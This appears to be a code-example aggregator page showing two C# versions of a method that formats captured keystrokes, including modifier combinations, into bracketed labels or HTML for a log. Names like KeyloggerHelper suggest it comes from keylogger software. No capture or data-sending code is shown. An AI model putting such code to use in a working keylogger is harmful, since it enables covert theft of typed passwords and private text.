Exemplo n.º 1
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="keys"></param>
        /// <returns></returns>
        private string HighlightSpecialKeys(Keys[] keys)
        {
            if (keys.Length < 1)
            {
                return(string.Empty);
            }

            string[] names = new string[keys.Length];
            for (int i = 0; i < keys.Length; i++)
            {
                if (!m_ignoreSpecialKeys)
                {
                    names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
                }
                else
                {
                    names[i] = string.Empty;
                    m_pressedKeys.Remove(keys[i]);
                }
            }

            m_ignoreSpecialKeys = false;

            if (m_pressedKeys.IsModifierKeysSet())
            {
                var specialKeys      = new StringBuilder();
                var validSpecialKeys = 0;
                for (int i = 0; i < names.Length; i++)
                {
                    m_pressedKeys.Remove(keys[i]);
                    if (string.IsNullOrEmpty(names[i]))
                    {
                        continue;
                    }

                    specialKeys.AppendFormat(validSpecialKeys == 0 ? @"[{0}" : " + {0}", names[i]);
                    validSpecialKeys++;
                }

                if (validSpecialKeys > 0)
                {
                    specialKeys.Append("]");
                }

                return(specialKeys.ToString());
            }

            var normalKeys = new StringBuilder();

            for (int i = 0; i < names.Length; i++)
            {
                m_pressedKeys.Remove(keys[i]);
                if (string.IsNullOrEmpty(names[i]))
                {
                    continue;
                }

                switch (names[i])
                {
                case "Return":
                    normalKeys.Append(@"[Enter]");
                    break;

                case "Escape":
                    normalKeys.Append(@"[Esc]");
                    break;

                default:
                    normalKeys.Append(@"[" + names[i] + "]");
                    break;
                }
            }
            return(normalKeys.ToString());
        }
Exemplo n.º 2
0
        private string HighlightSpecialKeys(Keys[] keys)
        {
            if (keys.Length < 1)
            {
                return(string.Empty);
            }

            string[] names = new string[keys.Length];
            for (int i = 0; i < keys.Length; i++)
            {
                if (!_ignoreSpecialKeys)
                {
                    names[i] = KeyloggerHelper.GetDisplayName(keys[i]);
                    Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
                }
                else
                {
                    names[i] = string.Empty;
                    _pressedKeys.Remove(keys[i]);
                }
            }

            _ignoreSpecialKeys = false;

            if (_pressedKeys.IsModifierKeysSet())
            {
                StringBuilder specialKeys = new StringBuilder();

                int validSpecialKeys = 0;
                for (int i = 0; i < names.Length; i++)
                {
                    _pressedKeys.Remove(keys[i]);
                    if (string.IsNullOrEmpty(names[i]))
                    {
                        continue;
                    }

                    specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]);
                    validSpecialKeys++;
                }

                // If there are items in the special keys string builder, give it an ending tag
                if (validSpecialKeys > 0)
                {
                    specialKeys.Append("]</p>");
                }

                Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
                return(specialKeys.ToString());
            }

            StringBuilder normalKeys = new StringBuilder();

            for (int i = 0; i < names.Length; i++)
            {
                _pressedKeys.Remove(keys[i]);
                if (string.IsNullOrEmpty(names[i]))
                {
                    continue;
                }

                switch (names[i])
                {
                case "Return":
                    normalKeys.Append(@"<p class=""h"">[Enter]</p><br>");
                    break;

                case "Escape":
                    normalKeys.Append(@"<p class=""h"">[Esc]</p>");
                    break;

                default:
                    normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>");
                    break;
                }
            }

            Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
            return(normalKeys.ToString());
        }